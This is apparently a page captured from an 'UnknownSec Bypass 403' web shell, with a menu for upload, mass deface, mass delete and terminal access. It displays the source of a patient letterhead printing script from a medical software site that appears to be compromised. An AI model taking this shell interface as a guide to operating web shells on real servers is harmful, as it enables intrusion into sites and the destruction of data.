UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
print_letterhead.php
<?php include "top1.php";?> <!-- /inner_content--> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> </br> <div id="dynamic_content"> <label id="title1" name="title1">Name: </label> <label id="titlevalue1" name="titlevalue1">Name:</label> <label id="title2" name="title2">Age :</label> <label id="titlevalue2" name="titlevalue2"></label> <label id="title3" name="title3">Gender :</label> <label id="titlevalue3" name="titlevalue3"> </label> <label id="title4" name="title4">Date: </label> <label id="titlevalue4" name="titlevalue4"> </label> <label id="title5" name="title5">UHID: </label> <label id="titlevalue5" name="titlevalue5"> </label> <label id="title6" name="title6">Opd No : </label> <label id="titlevalue6" name="titlevalue6"> </label> <label id="title7" name="title7">Mobile No :</label> <label id="titlevalue7" name="titlevalue7"></label> <label id="title8" name="title8">Address</label> <label id="titlevalue8" name="titlevalue8"> </label> <label id="title9" name="title9">Consultant </label> <label id="titlevalue9" name="titlevalue9"></label> <label id="title10" name="title10">None </label> <label id="titlevalue10" name="titlevalue10"> </label> </div> <button type="submit" style="width: 100%" name="btnprint" id="btnsavecustomer" onclick="return PrintPanel();" class="btn btn-contact">Print</button> <div class="clearfix"> </div> </div> <!--//set-1--> <!-- //inner_c <!-- //inner_content--> <script type="text/javascript"> function PrintPanel() { var panel = document.getElementById("dynamic_content"); var printWindow = window.open('', '', 'height=400,width=800'); printWindow.document.write('<html><head><title></title>'); printWindow.document.write('</head><body >'); printWindow.document.write(panel.innerHTML); printWindow.document.write('</body></html>'); printWindow.document.close(); setTimeout(function () { printWindow.print(); }, 500); return false; } function getletterheaderdetails(val) { try { var urlgetcode = 'get_patientletterhead_details.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&fileno='+ val, dataType: 'json', async: true, cache: false, success: function (data) { document.getElementById('title1').innerHTML=data.fieldname1; document.getElementById('titlevalue1').innerHTML=data.fieldvalue1; var d = document.getElementById('title1'); var dval = document.getElementById('titlevalue1'); d.style.position = "absolute"; dval.style.position = "absolute"; if(data.fieldname1.length==6) d.style.left = data.hleft1-(data.fieldname1.length)*10+'px'; else d.style.left = data.hleft1-(data.fieldname1.length)*8+'px'; dval.style.left = data.hleft1+'px'; d.style.top = data.htop1+'px'; dval.style.top = data.htop1+'px'; d.style.fontWeight=data.hbold1; dval.style.fontWeight=data.hbold1; if(data.htitle1==1) { d.style.display="block"; } else { d.style.display="None"; } document.getElementById('title2').innerHTML=data.fieldname2; document.getElementById('titlevalue2').innerHTML=data.fieldvalue2; var d1 = document.getElementById('title2'); var dval1 = document.getElementById('titlevalue2'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname1.length==6) d1.style.left = data.hleft2-(data.fieldname2.length)*9+'px'; else d1.style.left = data.hleft2-(data.fieldname2.length)*8+'px'; dval1.style.left = data.hleft2+'px'; d1.style.top = data.htop2+'px'; dval1.style.top = data.htop2+'px'; d1.style.fontWeight=data.hbold2; dval1.style.fontWeight=data.hbold2; if(data.htitle2==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title3').innerHTML=data.fieldname3; document.getElementById('titlevalue3').innerHTML=data.fieldvalue3; var d1 = document.getElementById('title3'); var dval1 = document.getElementById('titlevalue3'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname3.length==6) d1.style.left = data.hleft3-(data.fieldname3.length)*9+'px'; else d1.style.left = data.hleft3-(data.fieldname3.length)*8+'px'; dval1.style.left = data.hleft3+'px'; d1.style.top = data.htop3+'px'; dval1.style.top = data.htop3+'px'; d1.style.fontWeight=data.hbold3; dval1.style.fontWeight=data.hbold3; if(data.htitle3==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title4').innerHTML=data.fieldname4; document.getElementById('titlevalue4').innerHTML=data.fieldvalue4; var d1 = document.getElementById('title4'); var dval1 = document.getElementById('titlevalue4'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname4.length==6) d1.style.left = data.hleft4-(data.fieldname4.length)*9+'px'; else d1.style.left = data.hleft4-(data.fieldname4.length)*8+'px'; dval1.style.left = data.hleft4+'px'; d1.style.top = data.htop4+'px'; dval1.style.top = data.htop4+'px'; d1.style.fontWeight=data.hbold4; dval1.style.fontWeight=data.hbold4; if(data.htitle4==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title5').innerHTML=data.fieldname5; document.getElementById('titlevalue5').innerHTML=data.fieldvalue5; var d1 = document.getElementById('title5'); var dval1 = document.getElementById('titlevalue5'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname5.length==6) d1.style.left = data.hleft5-(data.fieldname5.length)*9+'px'; else d1.style.left = data.hleft5-(data.fieldname5.length)*8+'px'; dval1.style.left = data.hleft5+'px'; d1.style.top = data.htop5+'px'; dval1.style.top = data.htop5+'px'; d1.style.fontWeight=data.hbold5; dval1.style.fontWeight=data.hbold5; if(data.htitle5==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title6').innerHTML=data.fieldname6; document.getElementById('titlevalue6').innerHTML=data.fieldvalue6; var d1 = document.getElementById('title6'); var dval1 = document.getElementById('titlevalue6'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname6.length==6) d1.style.left = data.hleft6-(data.fieldname6.length)*9+'px'; else d1.style.left = data.hleft6-(data.fieldname6.length)*8+'px'; dval1.style.left = data.hleft6+'px'; d1.style.top = data.htop6+'px'; dval1.style.top = data.htop6+'px'; d1.style.fontWeight=data.hbold6; dval1.style.fontWeight=data.hbold6; if(data.htitle6==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title7').innerHTML=data.fieldname7; document.getElementById('titlevalue7').innerHTML=data.fieldvalue7; var d1 = document.getElementById('title7'); var dval1 = document.getElementById('titlevalue7'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname7.length==6) d1.style.left = data.hleft7-(data.fieldname7.length)*9+'px'; else d1.style.left = data.hleft7-(data.fieldname7.length)*8+'px'; dval1.style.left = data.hleft7+'px'; d1.style.top = data.htop7+'px'; dval1.style.top = data.htop7+'px'; d1.style.fontWeight=data.hbold7; dval1.style.fontWeight=data.hbold7; if(data.htitle7==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title8').innerHTML=data.fieldname8; document.getElementById('titlevalue8').innerHTML=data.fieldvalue8; var d1 = document.getElementById('title8'); var dval1 = document.getElementById('titlevalue8'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname8.length==6) d1.style.left = data.hleft8-(data.fieldname8.length)*9+'px'; else d1.style.left = data.hleft8-(data.fieldname8.length)*8+'px'; dval1.style.left = data.hleft8+'px'; d1.style.top = data.htop8+'px'; dval1.style.top = data.htop8+'px'; d1.style.fontWeight=data.hbold8; dval1.style.fontWeight=data.hbold8; if(data.htitle8==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title9').innerHTML=data.fieldname9; document.getElementById('titlevalue9').innerHTML=data.fieldvalue9; var d1 = document.getElementById('title9'); var dval1 = document.getElementById('titlevalue9'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname9.length==6) d1.style.left = data.hleft9-(data.fieldname9.length)*9+'px'; else d1.style.left = data.hleft9-(data.fieldname9.length)*8+'px'; dval1.style.left = data.hleft9+'px'; d1.style.top = data.htop9+'px'; dval1.style.top = data.htop9+'px'; d1.style.fontWeight=data.hbold9; dval1.style.fontWeight=data.hbold9; if(data.htitle9==1) { d1.style.display="block"; } else { d1.style.display="None"; } document.getElementById('title10').innerHTML=data.fieldname10; document.getElementById('titlevalue10').innerHTML=data.fieldvalue10; var d1 = document.getElementById('title10'); var dval1 = document.getElementById('titlevalue10'); d1.style.position = "absolute"; dval1.style.position = "absolute"; if(data.fieldname10.length==6) d1.style.left = data.hleft10-(data.fieldname10.length)*9+'px'; else d1.style.left = data.hleft10-(data.fieldname10.length)*8+'px'; dval1.style.left = data.hleft10+'px'; d1.style.top = data.htop10+'px'; dval1.style.top = data.htop10+'px'; d1.style.fontWeight=data.hbold10; dval1.style.fontWeight=data.hbold10; if(data.htitle10==1) { d1.style.display="block"; } else { d1.style.display="None"; } PrintPanel(); }, error: function (request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } $(document).ready(function() { var id = getUrlVars()['id']; var op = getUrlVars()['op']; getletterheaderdetails(id); $("#studtable").DataTable({ bLengthChange: true, "iDisplayLength": 10, bInfo: false, responsive: true, "bAutoWidth": false }); }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec